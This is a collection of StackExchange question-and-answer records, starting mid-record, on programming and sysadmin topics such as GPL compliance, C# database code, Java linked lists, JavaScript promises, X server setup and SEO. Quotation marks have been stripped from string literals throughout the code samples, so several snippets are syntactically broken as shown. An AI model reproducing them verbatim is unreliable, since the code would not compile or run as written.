the source, as requested.If you were providing the source via FTP, you could verify the FTP repository was working and have them retrieve the source from there.  It's possible that not all variations of the GPL1 licenses will support that approach.  The safest version for distribution or conveyance is directly sending the source.Rationale of request from library authorPart of providing Free software (that's Free as in Freedom means following up and making sure that downstream consumers of the Free software are also complying with the terms of the license.It's one thing to put up an FTP link or provide a disclaimer of source available upon request.  But it's another level to actually verify that the FTP links do provide the source or that the source is actually available when requested.It sounds like the creator of the library you used wanted to verify that you were complying with the terms of the license.  They (obviously) didn't need their own source code back.  They may have been concerned that you made modifications without re-releasing them, too.  Given the size of VLCkit, I don't think that was the case.  The most likely answer then is they want to make sure you're complying with the terms of the *GPL1 licensing that was used.And based upon your follow-up comment:  I asked and he replied. Just zip up the source that I used and send it to him. No problem.It sounds like they were making sure that you were doing your part in the Free software movement.1 I'm writing under the presumption that other packages were used that were also either LGPL, AGPL, or GPL licensed."  } 
{  "id": "_softwareengineering.10672"  , "question": "Ever since my very first programming class in high school, I've been hearing that string operations are slower — i.e. more costly — than the mythical average operation. Why makes them so slow? (This question left intentionally broad.)"  , "title": "Why are strings so slow?"  , "tags": "computer science;strings"  , "accepted_answer": "The average operation takes place on primitives.  But even in languages where strings are treated as primitives, they're still arrays under the hood, and doing anything involving the whole string takes O(N) time, where N is the length of the string.For example, adding two numbers generally takes 2-4 ASM instructions.  Concatenating (adding) two strings requires a new memory allocation and either one or two string copies, involving the entire string.Certain language factors can make it worse.  In C, for example, a string is simply a pointer to a null-terminated array of characters.  This means that you don't know how long it is, so there's no way to optimize a string-copying loop with fast move operations; you need to copy one character at a time so you can test each byte for the null terminator."  } 
{  "id": "_codereview.57878"  , "question": "Here is a short and simple Ajax method that returns True or False if an entity exists in a database via a stored procedure that returns just Y or N (the details of this entity and database are not relevant to my question though).  This is the first time I've used the C# using() statement, and was wondering if anyone would be kind enough to review this and give me feedback.[WebMethod]public string ValidateEntity(string EntityType, string EntityName){    string connstr = (from c in Companys where c.Name.Equals(company, StringComparison.OrdinalIgnoreCase) select c.ConnectionString).FirstOrDefault();    if (connstr == null) { return False; }    using (SqlConnection conn = new SqlConnection(connstr))    {        using (SqlDataAdapter da = new SqlDataAdapter())        {            using (da.SelectCommand = new SqlCommand(ValidateEntity, conn))            {                da.SelectCommand.CommandType = CommandType.StoredProcedure;                da.SelectCommand.Parameters.AddWithValue(@EntityType, EntityType);                da.SelectCommand.Parameters.AddWithValue(@EntityName, EntityName);                using(DataSet ds = new DataSet())                {                    da.Fill(ds, result_name);                    DataTable dt = ds.Tables[result_name];                    if ( dt.Rows.Count > 0){                        if (dt.Rows[0][Valid].ToString()==Y) { return True; }                    }                                             }            }        }    }    return False;}"  , "title": "Determining if an entity exists in a database via a stored procedure"  , "tags": "c#;ajax;validation;stored procedure"  } 
{  "id": "_unix.325360"  , "question": "Question: /var is mounted twice, is this normal for a system that uses docker?df -m | grep var only shows it mounted at /var. Versions are: RHEL 7.2 Maipo, docker-engine-1.12.1-1.el7.centos.x86_64 and docker-engine-selinux-1.12.1-1.el7.centos.noarch. UPDATE: Maybe normal? Can someone confirm? From OS perspective the two RW mounted FS doesn't look so OK.https://github.com/docker/docker/issues/16884This should not be an issue. /var/lib/docker/devicemapper is a bind mount onto itself. "  , "title": "Is it normal to have duplicate /var mount if using docker?"  , "tags": "rhel;mount;docker;xfs"  } 
{  "id": "_cstheory.14153"  , "question": "I know that's impossible to decide $\\beta$-equivalence for untyped lambda calculus. Quoting Barendregt, H. P. The Lambda Calculus: Its Syntax and Semantics. North Holland, Amsterdam (1984).:If A and B are disjoint, nonempty sets of lambda terms which are closed under equality, then A and B are recursively inseparable. It follows that if A is a nontrivial set of lambda terms closed under equality, then A is not recursive. So, we cannot decide the problem M=x? for any particular M. Also, it follows that Lambda has no recursive models.If we have a normalizing system, such as System F, then we can decide $\\beta$-equivalence from outside by reducing the two given terms and comparing if their normal forms are the same or not. However, can we do it from inside? Is there a System-F combinator $E$ such that for two combinators $M$ and $N$ we have $E M N = \\mbox{true}$ if $M$ and $N$ have the same normal form, and $E M N = \\mbox{false}$ otherwise? Or can this be done at least for some $M$s? To construct a combinator $E_M$ such that $E_M N$ is true iff $N\\equiv_\\beta M$? If not, why?"  , "title": "Is it possible to decide $\\beta$-equivalence within System F (or another normalizing typed -calculus)?"  , "tags": "lo.logic;computability;lambda calculus;normalization;decidability"  , "accepted_answer": "No, it's not possible. Consider the following two inhabitants of the type $(A \\to B) \\to (A \\to B)$. $$\\begin{array}{l}M = \\lambda f.\\;f \\\\N = \\lambda f.\\;\\lambda a.\\; f\\;a\\end{array}$$These are distinct $\\beta$-normal forms, but cannot be distinguished by a lambda-term, since $N$ is an $\\eta$-expansion of $M$, and $\\eta$-expansion preserves observational equivalence in a pure typed lambda calculus. Cody asked what happens if we mod out by $\\eta$-equivalence, also. The answer is still negative, because of parametricity. Consider the following two terms at the type $(\\forall \\alpha.\\;\\alpha \\to \\alpha) \\to (\\forall \\alpha.\\;\\alpha \\to \\alpha)$:$$\\begin{array}{lcl}M & = & \\lambda f:(\\forall \\alpha.\\;\\alpha \\to \\alpha).\\;\\Lambda \\alpha.\\lambda x:\\alpha.\\;f \\;[\\forall \\alpha.\\;\\alpha \\to \\alpha]\\;(\\Lambda \\beta.\\lambda y:\\beta.\\;y)\\;[\\alpha]\\;x\\\\N & = & \\lambda f:(\\forall \\alpha.\\;\\alpha \\to \\alpha).\\;\\Lambda \\alpha.\\lambda x:\\alpha.\\;f\\;[\\alpha]\\;x\\end{array}$$They are distinct $\\beta$-normal, $\\eta$-long form, but are observationally equivalent. In fact, all functions of this type are equivalent, since $\\forall \\alpha.\\;\\alpha \\to \\alpha$ is the encoding of the unit type, and so all functions of the type $(\\forall \\alpha.\\;\\alpha \\to \\alpha) \\to (\\forall \\alpha.\\;\\alpha \\to \\alpha)$ must be extensionally equivalent. "  } 
{  "id": "_unix.362459"  , "question": "My problemIf I transfer file with rsync using tapes,or disk(usb,e-sata,firewire)linux hang,no way to resume if not using powerbutton(brutal shutdown!)sysrq-trigger don't work,ssh don't answer,keyboard and screen no input.I have a M5A97 R2.0 Asus board,with 16G ram Crucial.I 've ordered a couple of other ram by kingstonIn your opinion can be a hw problem,or ram problem?Using the program ramtest no error given.I have tried also this solution..but hang anyway.Your opinion?I forgot,hang happen on every transfer especially with big files(over 10G)I tried different kernel versions..same problem."  , "title": "linux hang on transfer with rsync,can be a ram error?"  , "tags": "freeze;ram;panic;hang"  , "accepted_answer": "Change ram and..works fine.Transfer of over 2TB completedwithout panic.So problem was my old ram."  } 
{  "id": "_unix.26000"  , "question": "I am running Cygwin 1.7 on Win7 Pro x64, and I can query my Ubuntu 10.04 LTS server just fine.XWin.exe -clipboard -once -rootless -nodecoration -notrayicon -query $IP_ADDRESSI recently installed Ubuntu 11.10 with XFCE desktop on another machine, and I cannot connect to this one.Of course, I enabled TCP and XDMCP in LightDM using /etc/lightdm/lightdm.conf[SeatDefaults]# ...xserver-allow-tcp=true[XDMCPServer]enabled=trueand I think the fact that I can connect using my Xubuntu 11.10 laptop proves that it works.X -query $IP_ADDRESS :1Xwin fails to connect, while logging something like:[333305.324] XDMCP fatal error: Session failed Failed to connect to display :0[333305.324] [333305.324] Server terminated with error (1). Closing log file.Today I updated Cygwin.CYGWIN_NT-6.1-WOW64 1.7.9(0.237/5/3) 2011-03-29 10:10Still doesn't work. Does anyone have a clue as to what 'feature' the new and improved LightDM or Xserver has that I forgot to take into account?Oh and did I mention the exact same Cygwin/Xwin connects to Ubuntu 10.04 just fine, using the same command line (different IP of course)?"  , "title": "How to Cygwin Xwin -query an Ubuntu 11.10 Xserver?"  , "tags": "ubuntu;cygwin;x server"  , "accepted_answer": "I don't know what the guys over at Cygwin/X are doing to make this fail. And I don't know why I cannot find any help or even mention of similar trouble anywhere in this galaxy that is within the reach of Google. I believe I am not the only one using the software, so the lack of help puzzles me.But let me provide a solution to my own question; I discovered that VCXsrv.exe is some kind of Cygwin/X clone in a way.http://sourceforge.net/projects/vcxsrv/VcXsrv Windows X-server based on the xorg git sources (like xming or  cygwin's xwin), but compiled with Visual C++ 2010.It works almost the same, except you need to add the -from [ip-address] command line option. No idea why. But it works:vcxsrv.exe -clipboard -once -rootless -nodecoration -notrayicon -query [target hostname or ip] -from [current (local) ip]Tested with both Xubuntu and xubuntu-desktop on Ubuntu. (XFCE)"  } 
{  "id": "_unix.38408"  , "question": "I'm using Linux Debian Squeeze and I already have compiz installed. I want metacity stop automatically boot, and instead want compiz to start automatically."  , "title": "How to make Compiz start automatically?"  , "tags": "debian;compiz;metacity"  , "accepted_answer": "Change the gconf key withgconftool-2 --type string --set /desktop/gnome/session/required_components/windowmanager compizYou can go back to the default Gnome Metacity window manager withgconftool-2 --type string --set /desktop/gnome/session/required_components/windowmanager gnome-wmIf this fails You can simply add compiz --replace  to your startup applications. Name the entry what you want, give it  whatever description you want, but make the commandcompiz --replaceSource: http://wiki.debian.org/Compiz#Start_compiz_instead_of_the_default_Gnome_Window_Manager"  } 
{  "id": "_unix.107072"  , "question": "I am using Oracle virtualbox and I have installed centos 6.4. How can I connect remotely to centos with WinSCP from Windows? There are fields like hostname in WinSCP but I don't know what to write."  , "title": "how to connect centos from windows remotely?"  , "tags": "centos;remote"  } 
{  "id": "_codereview.36300"  , "question": "I'm trying to find all the 3, 4, 5, and 6 letter words given 6 letters.  I am finding them by comparing every combination of the 6 letters to an ArrayList of words called sortedDictionary.  I have worked on the code a good bit to get it to this point.I tested how many six letter words are checked and got 720 which is good because 6*5*4*3*2*1=720 which means I am not checking any words twice.  I can't make it faster by getting rid of duplicate checks because I have already gotten rid of them all.  Can I still make this faster?Note that sortedDictionary only contains about 27 hundred words. for(int l1 = 0; l1 < 6; l1++){    for(int l2 = 0; l2 < 6; l2++){        if(l2 != l1)            for(int l3 = 0; l3 < 6; l3++){                if(l3 != l1 && l3 != l2){                    if(sortedDictionary.contains(+anagramCharacters[l1]+anagramCharacters[l2]+anagramCharacters[l3]))                        anagram_words.add(+anagramCharacters[l1]+anagramCharacters[l2]+anagramCharacters[l3]);                    for(int l4 = 0; l4 < 6; l4++){                        if(l4 != l1 && l4 != l2 && l4 != l3){                            if(sortedDictionary.contains(+anagramCharacters[l1]+anagramCharacters[l2]+anagramCharacters[l3]+anagramCharacters[l4]))                                anagram_words.add(+anagramCharacters[l1]+anagramCharacters[l2]+anagramCharacters[l3]+anagramCharacters[l4]);                            for(int l5 = 0; l5 < 6; l5++){                                if(l5 != l1 && l5 != l2 && l5 != l3 && l5 != l4){                                   if(sortedDictionary.contains(+anagramCharacters[l1]+anagramCharacters[l2]+anagramCharacters[l3]+anagramCharacters[l4]+anagramCharacters[l5]))                                       anagram_words.add(+anagramCharacters[l1]+anagramCharacters[l2]+anagramCharacters[l3]+anagramCharacters[l4]+anagramCharacters[l5]);                                   for(int l6 = 0; l6 < 6; l6++){                                       if(l6 != l1 && l6 != l2 && l6 != l3 && l6 != l4 && l6 != l5)                                           if(sortedDictionary.contains(+anagramCharacters[l1]+anagramCharacters[l2]+anagramCharacters[l3]+anagramCharacters[l4]+anagramCharacters[l5]+anagramCharacters[l6]))                                               anagram_words.add(+anagramCharacters[l1]+anagramCharacters[l2]+anagramCharacters[l3]+anagramCharacters[l4]+anagramCharacters[l5]+anagramCharacters[l6]);                                    }                                   }                            }                           }                    }                }            }    }}My solution, still probably not the best written code but it reduce the loading time from about 1-2 seconds to nearly instant (no noticeable wait time; didn't actually test how long it was).for(int i = 0; i < sortedDictionary.size(); i++){    for(int index = 0; index < anagram.length(); index++)        anagramCharacters[index] = anagram.charAt(index);    forloop:    for(int i2 = 0; i2 < sortedDictionary.get(i).length(); i2++){        for(int i3 = 0; i3 < anagramCharacters.length; i3++){            if(sortedDictionary.get(i).charAt(i2) == anagramCharacters[i3]){                anagramCharacters[i3] = 0;                break;            }            else if(i3 == anagramCharacters.length-1)                break forloop;        }        if(i2 == sortedDictionary.get(i).length()-1)            anagram_words.add(sortedDictionary.get(i));    }}"  , "title": "Finding words of different lengths given six letters"  , "tags": "java;array;strings;combinatorics"  , "accepted_answer": "if the number of words in the dictionary is small then you might be better off turning the code around and going over the words in the dictionary and checking if the words there have the 6 lettersdisregarding that you recreate the string several times  it would be more efficient to keep the prefix in a char arraychar[] prefix= new char[6];for(int l1 = 0; l1 < 6; l1++){    prefix[0]=anagramCharacters[l1];    for(int l2 = 0; l2 < 6; l2++)        if(l2 != l1){        prefix[1]=anagramCharacters[l2];then you can create the string with new String(prefix,0,3) (replace the 3 with the length)otherwise recursion to the rescue:List<String> createAnagrams(char[] chars, SortedSet<String> sortedDictionary){    List<String result = new ArrayList<String>();    fillListWithAnagrams(result, sortedDictionary, chars, 0);    return result;}void fillListWithAnagrams(List<String> result, SortedSet<String> sortedDictionary, char[] chars, int charIndex){    if(charIndex>=3){       String resultString = new String(chars,0,charIndex);       if(sortedDictionary.contains(resultString);           list.add(resultString);    }    if(charIndex>=chars.length)       return;//end of the line    for(int i = charIndex;i<chars.length;i++){        char t = chars[i];        chars[i] = chars[charIndex];        chars[charIndex] = t;        fillListWithAnagrams(list, sortedDictionary, chars, charIndex+1);        // revert the char array for the next step        //t=chars[charIndex];        chars[charIndex] = chars[i];        chars[i] = t;    }}"  } 
{  "id": "_unix.227195"  , "question": "I'm using Debian GNU/Linux 7.8 and would like to have PDFXCview.exe as the standard application to open pdfs. Opening a pdf using a small executable file including#!/bin/bashwine /foldername/PDFXCview.exe $1works fine. However, I would like to set up Open with.. properly so that whenever I double-click on a pdf it opens with PDFXCview. Passing this executable seems not to work. How to solve this?"  , "title": "How to create a custom command in Linux for a wine pdf application?"  , "tags": "bash;pdf;wine"  } 
{  "id": "_softwareengineering.50034"  , "question": "Ok, I almost lost a job offer because I didn't have enough experience as an enterprise software engineer.I've been a programmer for over 16 years, and the last 12-14 professionally, at companies big and small.So this made me think of this question: What's the difference between a software engineer and an enterprise software engineer?Is there really a difference between software architecture and enterprise architecture?BTW: I try to do what every other GOOD software programmer does, like architecture, tdd, SDLC, etc."  , "title": "Enterprise VS Regular corporate developer"  , "tags": ".net;enterprise architecture"  , "accepted_answer": "Rick.  I think big companies inheritently don't like Jack's of All Trades.  You say you do everything.  In a small company, we want people who can do everything.  Those people are more valuable because they can wear multiple hats.In an enterprise environment, there is clear job separation.  They don't want people who wear many hats.  They want people who focus on one thing and one thing only and who excel at doing just that one thing.I personally prefer the excitement of not knowing what hat I'll need to wear that day.  That's my preference.  Other people may prefer the structure and stability of knowing exactly what they're going to work on that day.I believe that the company's main concern is that you may not stick around because the job is different than what you're used to.  In these interviews, I believe it's important to find a way to demonstrate that you seek this type of job and understand the differences between work you've done before.  It may be best to focus only on the strengths that apply to the job description.  Tailor your resume and your questions to fit the job.  Make sure you are prepared to give answers that tell the interviewers what they want to hear.  Most importantly, make sure you actually want to work in this environment and that what you're saying really reflects your desired career path."  } 
{  "id": "_codereview.99006"  , "question": "The existing design of class DList and DListNode is taken. The main criteria is to do successive updates in \\$O(1)\\$ time.Part III (3 points)Implement a lockable doubly-linked list ADT: a list in which any node can be  locked. A locked node can never be removed from its list. Any attempt to  remove a locked node has no effect (not even an error message). Your locked  list classes should be in the list package alongside DList and DListNode.  First, define a LockDListNode class that extends DListNode and carries  information about whether it has been locked. LockDListNode's are not locked  when they are first created. Your LockDListNode constructor(s) should call a  DListNode constructor to avoid code duplication.Second, define a LockDList class that extends DList and includes an additional method public void lockNode(DListNode node) { ... } that permanently locks node.Your LockDList class should override just enough methods to ensure that(1) LockDListNode's are always used in LockDList's (instead of DListNode's), and(2) locked nodes cannot be removed from a list.WARNING: To override a method, you must write a new method in the subclass  with EXACTLY the same prototype. You cant change a parameters type to a  subclass. Overriding wont work if you do that.Your overriding methods should include calls to the overridden superclass  methods whenever it makes sense to do so. Unnecessary code duplication will be  penalized.Solution/* DListNode.java */package cs61b.homework4;/** * A DListNode is a node in a DList (doubly-linked list). */public class DListNode {    /**     * item references the item stored in the current node. prev references the     * previous node in the DList. next references the next node in the DList.     *     * DO NOT CHANGE THE FOLLOWING FIELD DECLARATIONS.     */    public Object item;    private DListNode prev;    private DListNode next;    /**     * DListNode() constructor.     *      * @param i     *            the item to store in the node.     * @param p     *            the node previous to this node.     * @param n     *            the node following this node.     */    DListNode(Object i, DListNode p, DListNode n) {        item = i;        setPrev(p);        setNext(n);    }    DListNode getNext() {        return next;    }    void setNext(DListNode next) {        this.next = next;    }    DListNode getPrev() {        return prev;    }    void setPrev(DListNode prev) {        this.prev = prev;    }}/* DList.java */package cs61b.homework4;/** *  A DList is a mutable doubly-linked list ADT.  Its implementation is *  circularly-linked and employs a sentinel (dummy) node at the sentinel *  of the list. * *  DO NOT CHANGE ANY METHOD PROTOTYPES IN THIS FILE. */public class DList {  /**   *  sentinel references the sentinel node.   *  size is the number of items in the list.  (The sentinel node does not   *       store an item.)   *   *  DO NOT CHANGE THE FOLLOWING FIELD DECLARATIONS.   */  protected DListNode sentinel;  protected int size;  /* DList invariants:   *  1)  sentinel != null.   *  2)  For any DListNode x in a DList, x.next != null.   *  3)  For any DListNode x in a DList, x.prev != null.   *  4)  For any DListNode x in a DList, if x.next == y, then y.prev == x.   *  5)  For any DListNode x in a DList, if x.prev == y, then y.next == x.   *  6)  size is the number of DListNodes, NOT COUNTING the sentinel,   *      that can be accessed from the sentinel (sentinel) by a sequence of   *      next references.   */  /**   *  newNode() calls the DListNode constructor.  Use this class to allocate   *  new DListNodes rather than calling the DListNode constructor directly.   *  That way, only this method needs to be overridden if a subclass of DList   *  wants to use a different kind of node.   *  @param item the item to store in the node.   *  @param prev the node previous to this node.   *  @param next the node following this node.   */  protected DListNode newNode(Object item, DListNode prev, DListNode next) {    return new DListNode(item, prev, next);  }  /**   *  DList() constructor for an empty DList.   */  public DList() {      this.sentinel = this.newNode(null,null,null);      this.sentinel.setNext(sentinel);      this.sentinel.setPrev(sentinel);  }  /**   *  isEmpty() returns true if this DList is empty, false otherwise.   *  @return true if this DList is empty, false otherwise.    *  Performance:  runs in O(1) time.   */  public boolean isEmpty() {    return size == 0;  }  /**    *  length() returns the length of this DList.    *  @return the length of this DList.   *  Performance:  runs in O(1) time.   */  public int length() {    return size;  }  /**   *  insertFront() inserts an item at the front of this DList.   *  @param item is the item to be inserted.   *  Performance:  runs in O(1) time.   */  public void insertFront(Object item) {      DListNode node  = this.newNode(item, this.sentinel, this.sentinel.getNext());      node.getNext().setPrev(node);        this.sentinel.setNext(node);      this.size++;  }  /**   *  insertBack() inserts an item at the back of this DList.   *  @param item is the item to be inserted.   *  Performance:  runs in O(1) time.   */  public void insertBack(Object item) {      DListNode node = this.newNode(item, this.sentinel.getPrev(), this.sentinel);      this.sentinel.setPrev(node);      node.getPrev().setNext(node);      this.size++;  }  /**   *  front() returns the node at the front of this DList.  If the DList is   *  empty, return null.   *   *  Do NOT return the sentinel under any circumstances!   *   *  @return the node at the front of this DList.   *  Performance:  runs in O(1) time.   */  public DListNode front() {      if (this.sentinel.getNext() == sentinel){          return null;      }else{          return this.sentinel.getNext();      }  }  /**   *  back() returns the node at the back of this DList.  If the DList is   *  empty, return null.   *   *  Do NOT return the sentinel under any circumstances!   *   *  @return the node at the back of this DList.   *  Performance:  runs in O(1) time.   */  public DListNode back() {    if(this.sentinel.getPrev() == sentinel){        return null;    }else{        return this.sentinel.getPrev();    }  }  /**   *  next() returns the node following node in this DList.  If node is   *  null, or node is the last node in this DList, return null.   *   *  Do NOT return the sentinel under any circumstances!   *   *  @param node the node whose successor is sought.   *  @return the node following node.   *  Performance:  runs in O(1) time.   */  public DListNode next(DListNode node) {      if ((node == null) || (node.getNext() == this.sentinel)){          return null;      }else{          return node.getNext();      }  }  /**   *  prev() returns the node prior to node in this DList.  If node is   *  null, or node is the first node in this DList, return null.   *   *  Do NOT return the sentinel under any circumstances!   *   *  @param node the node whose predecessor is sought.   *  @return the node prior to node.   *  Performance:  runs in O(1) time.   */  public DListNode prev(DListNode node) {      if ((node == null) || (node.getPrev() == this.sentinel)){          return null;      }else{          return node.getPrev();      }  }  /**   *  insertAfter() inserts an item in this DList immediately following node.   *  If node is null, do nothing.   *  @param item the item to be inserted.   *  @param node the node to insert the item after.   *  Performance:  runs in O(1) time.   */  public void insertAfter(Object item, DListNode node) {      if (node == null){          return;      }else{          DListNode newNode = this.newNode(item, node, node.getNext());          node.getNext().setPrev(newNode);          node.setNext(newNode);      }      this.size++;  }  /**   *  insertBefore() inserts an item in this DList immediately before node.   *  If node is null, do nothing.   *  @param item the item to be inserted.   *  @param node the node to insert the item before.   *  Performance:  runs in O(1) time.   */  public void insertBefore(Object item, DListNode node) {      if (node == null){          return;      }else{          DListNode newNode =  this.newNode(item, node.getPrev(), node);          node.getPrev().setNext(newNode);          node.setPrev(newNode);          this.size++;      }  }  /**   *  remove() removes node from this DList.  If node is null, do nothing.   *  Performance:  runs in O(1) time.   */  public void remove(DListNode node) {      if(node == null){          return;      }else{          node.item = null;          node.getPrev().setNext(node.getNext());          node.getNext().setPrev(node.getPrev());          this.size--;      }  }  /**   *  toString() returns a String representation of this DList.   *   *  DO NOT CHANGE THIS METHOD.   *   *  @return a String representation of this DList.   *  Performance:  runs in O(n) time, where n is the length of the list.   */  public String toString() {    String result = [  ;    DListNode current = sentinel.getNext();    while (current != sentinel) {      result = result + current.item +   ;      current = current.getNext();    }    return result + ];  }}/* LockDListNode.java */package cs61b.homework4;public class LockDListNode extends DListNode{    protected boolean lock;    protected LockDListNode(Object i, DListNode p, DListNode n){        super(i, p, n);        this.lock = false;    }}/* LockDList.java */package cs61b.homework4;public class LockDList extends DList {    /**     * newNode() calls the LockDListNode constructor. Use this method to     * allocate new LockDListNodes rather than calling the LockDListNode     * constructor directly.     *      * @param item     *            the item to store in the node.     * @param prev     *            the node previous to this node.     * @param next     *            the node following this node.     */    protected LockDListNode newNode(Object item, DListNode prev, DListNode next) {        return new LockDListNode(item, prev, next);    }    /**     * LockDList() constructor for an empty LockDList.     */    public LockDList() {         super();        }    /**     * remove() removes node from this DList. If node is null, do nothing.     * Performance: runs in O(1) time.     */    public void remove(DListNode node) {        if (node == null) {            return;        } else if (((LockDListNode)node).lock == true) {            return;        } else {            node.item = null;            node.getPrev().setNext(node.getNext());            node.getNext().setPrev(node.getPrev());            this.size--;        }    }    public void lockNode(DListNode node) {        if(node == null){            return;        }else{            ((LockDListNode)node).lock = true;        }    }}With the given skeleton code for DList and DListNode here:Assume that a user passes a node that is part of the correct list. This is out of scope here.Access specifier for class/method/constructor can be improved (if required).Can I avoid typecasting in overriding the remove method of the LockDList class?Can I avoid typecasting in the lockNode method of the LockDListclass?Note: The package name is cs61b.homework4 instead of list."  , "title": "Lockable linked list"  , "tags": "java;object oriented;linked list;inheritance"  } 
{  "id": "_softwareengineering.298267"  , "question": "I have a site that lists several items per page. When the user clicks he can see each item's prices (a list of about 10-20). They are not visible at first because the page will be very long. I want to tag them with the offers schema.org microdata structure. How can I make this tagging seo friendly? Is it only possible if each product has its own page? Items are dynamic and change every week that's why I figured its not good to have a dedicated page for each (and also for user experience). "  , "title": "How to mark up structured data that is visible upon click with microdata"  , "tags": "seo"  } 
{  "id": "_unix.144377"  , "question": "I have Windows and want to install encrypted Ubuntu (Home + Swap + System) - it giving me that option during installation when I'm choosing partitions so my question is will I be able to boot both Windows and Ubuntu when I encrypt Ubuntu  or will it break Dual Boot ?"  , "title": "Dual Boot and encrypting Linux?"  , "tags": "dual boot;encryption"  } 
{  "id": "_softwareengineering.278778"  , "question": "In this benchmark, the suite takes 4 times longer to complete with ES6 promises compared to Bluebird promises, and uses 3.6 times as much memory.How can a JavaScript library be so much faster and lighter than v8's native implementation written in C? Bluebird promises have exactly the same API as native ES6 promises (plus a bunch of extra utility methods).Is the native implementation just badly written, or is there some other aspect to this that I'm missing?"  , "title": "Why are native ES6 promises slower and more memory-intensive than bluebird?"  , "tags": "javascript;performance;io.js"  , "accepted_answer": "Bluebird author here.V8 promises implementation is written in JavaScript not C. All JavaScript (including V8's own) is compiled to native code. Additionally user written JavaScript is optimized, if possible (and worth it), before compiled to native code. Promises implementation is something that would not benefit much or at all from being written in C, in fact it would only make it slower because all you are doing is manipulating JavaScript objects and communication.The V8 implementation simply isn't as optimized as bluebird, it for instances allocates arrays for promises' handlers. This takes a lot of memory when each promise also has to allocate a couple of arrays (The benchmark creates overall 80k promises so that's 160k unused arrays allocated). In reality 99.99% of use cases never branch a promise more than once so optimizing for this common case gains huge memory usage improvements.Even if V8 implemented the same optimizations as bluebird, it would still be hindered by specification. The benchmark has to use new Promise (an anti-pattern in bluebird) as there is no other way to create a root promise in ES6. new Promise is an extremely slow way of creating a promise, first the executor function allocates a closure, secondly it is passed 2 separate closures as arguments. That's 3 closures allocated per promise but a closure is already a more expensive object than an optimized promise.Bluebird can use promisify which enables lots of optimizations and is a much more convenient way of consuming callback APIs and it enables conversion of whole modules into promise based modules in one line (promisifyAll(require('redis'));)."  } 
{  "id": "_webmaster.52389"  , "question": "I keep reading everywhere that if you have a multilanguage site, where the same page appears in, say, French and English, then this is considered as duplicate content by google. It is written that using canonical link is the solution, but I do not understand how to use it in this case. Should I:Choose either French URL or English URL to be the canonical (main) one, and where I will place the canonical link? If so, how do I decide which of the two URLs must be canonical? both languages are important to me and I want the content under both languages to be indexed by google and served to the user, depending on the language in which he searches.OR should I place a canonical link on both French and English URLs? If so, then I do not understand the meaning of using the canonical link? In this case would both URLs be indexed, are both of them considered as important by google and not duplicates?Also I read that link rel=alternate can be used to indicate to google that, for example the French URL is the French-language equivalent of the English page. This makes sense and I understand how to use such links, but how are they combined with canonical links? Should I define both the canonical URL AND specify rel=alternate in both URLs? Could someone help me to clarify this, cause I'm stuck with this and can't seem to find a good-enough explanation in different sources."  , "title": "Multi language site - use of canonical link and link rel=alternate"  , "tags": "seo;canonical url;multilingual"  } 
{  "id": "_codereview.112846"  , "question": "I'm quite new to threading primitives in C# and was hoping you might be able to suggest improvements to this. I need to ensure that the XXX call below happens within the calling thread (XXX is a foreign call into a thread-unsafe library), so I used a queue here. It seems a bit like there should be a better primitive for this. Maybe delegates are applicable somehow? I don't understand delegates.I also have to wonder if I've gotten this whole scheme right in the first place! Maybe there's a deadlock I'm not seeing. Threading is so tricky.As an additional restriction, it's very important that this works on .NET 3.5.    public void RunProc(AutoResetEvent killSubProc)    {        using (Process process = new Process())        {            var timeout = 8000;            var channel = new Queue<string> {};            process.StartInfo.FileName = blah.exe;            process.StartInfo.Arguments = @stuff;            process.StartInfo.UseShellExecute = false;            process.StartInfo.RedirectStandardOutput = true;            process.StartInfo.RedirectStandardError = true;            process.EnableRaisingEvents = true;            using (AutoResetEvent channelWaitHandle = new AutoResetEvent(false))            {                process.OutputDataReceived += (sender, e) => {                    if (e.Data != null)                    {                        lock (channel) { channel.Enqueue(STDOUT); channel.Enqueue(e.Data); }                        channelWaitHandle.Set();                    }                };                process.ErrorDataReceived += (sender, e) =>                {                    if (e.Data != null)                    {                        lock (channel) { channel.Enqueue(STDERR); channel.Enqueue(e.Data); }                        channelWaitHandle.Set();                    }                };                process.Exited += (sender, e) =>                {                    lock (channel) { channel.Enqueue(EXIT); }                    channelWaitHandle.Set();                };                process.Start();                process.BeginOutputReadLine();                process.BeginErrorReadLine();                bool running = true;                while (running)                {                    int idx = WaitHandle.WaitAny(new WaitHandle[] {killSubProc, channelWaitHandle});                    if (idx == 0)                    {                        process.Kill();                        running = false;                    }                    else                    {                        lock (channel)                        {                            while (channel.Count > 0)                            {                                var item = channel.Dequeue();                                XXX(item);                                if (item == EXIT)                                {                                    running = false;                                }                            }                        }                     }                }            }        }    }"  , "title": "Ensuring that events raised by system.diagnostics process class happen in the parent thread"  , "tags": "c#;multithreading"  } 
{  "id": "_datascience.19479"  , "question": "Problem descriptionI have a data set about 10000 patients in a study. For each patient, I have a list of various measurements. Some information is scalar data (e.g. age), some information is time series of measurements, some other information can be even a bitmap. The individual record itself can be quite thick (10kB to 10MB). The data is to be processed practically in two steps:Preprocessing at the level of individual records (patients), i.e. to extract some features in raw data, store them. Calculate some slopes in time series etc. All this can be done on individual level and it can be very easily distributed.On top of the preprocessed data (extracted features), I will need to calculate some aggregated things such as e.g. average age, but also some machine learning tasks.The questionObviously, this is very suitable to be addressed in Apache Spark (or any map-reduce architecture). At the most general level, my question is: what is the most appropriate NoSQL database for this situation?So far, I have considered two basic options:MongoDB - to take advantage of the document oriented storage where everything is on the same place. However, I am not sure about the performance on the larger binary data (pictures, time-series).Cassandra -  this may have some better storage of binary data, but the joins will be necessary (even if optimized by indexing all data by patient id)."  , "title": "Data representation (NoSQL database?) for a medical study"  , "tags": "machine learning;nosql;mongodb"  } 
{  "id": "_unix.373954"  , "question": "How can I achieve to add some metadata (tags) to audio files (mp3),so that mplayer will play music by specific tags or their combination?I don't mean ID3 tags, but similar tags as I append to this question.e.g. there will be commands like$ tagmusic jazz, good_background, slow file.mp3$ mplayer --by-tag jazz+good_backgroundThe player may be another than mplayer, but I prefer mplayer.And I really prefer command-line application."  , "title": "Mplayer playing music by tag"  , "tags": "mplayer;music;file metadata;music player;tagging"  } 
{  "id": "_webapps.12636"  , "question": "Whenever I click full screen on YouTube, it changes the quality settings from 240p to 480p. I prefer to control the quality setting myself, and not have it influenced by the full screen button.Is there a way to stop this? A Greasemonkey script perhaps?"  , "title": "Stop YouTube from changing my quality settings on full screen"  , "tags": "youtube"  , "accepted_answer": "Officially you can't and there are a lot of requests for that in Google Forums.One of the Google Employees says:There are a few different options if  you login, then choose settings in  the drop down where you select quality  (right under the video player):I have a slow connection. Never play  higher-quality video. Always choose  the best option for me based on my  player size. Always play HD when  switching to fullscreen (when  available)You can try one of the scripts to find the one that suits you best."  } 
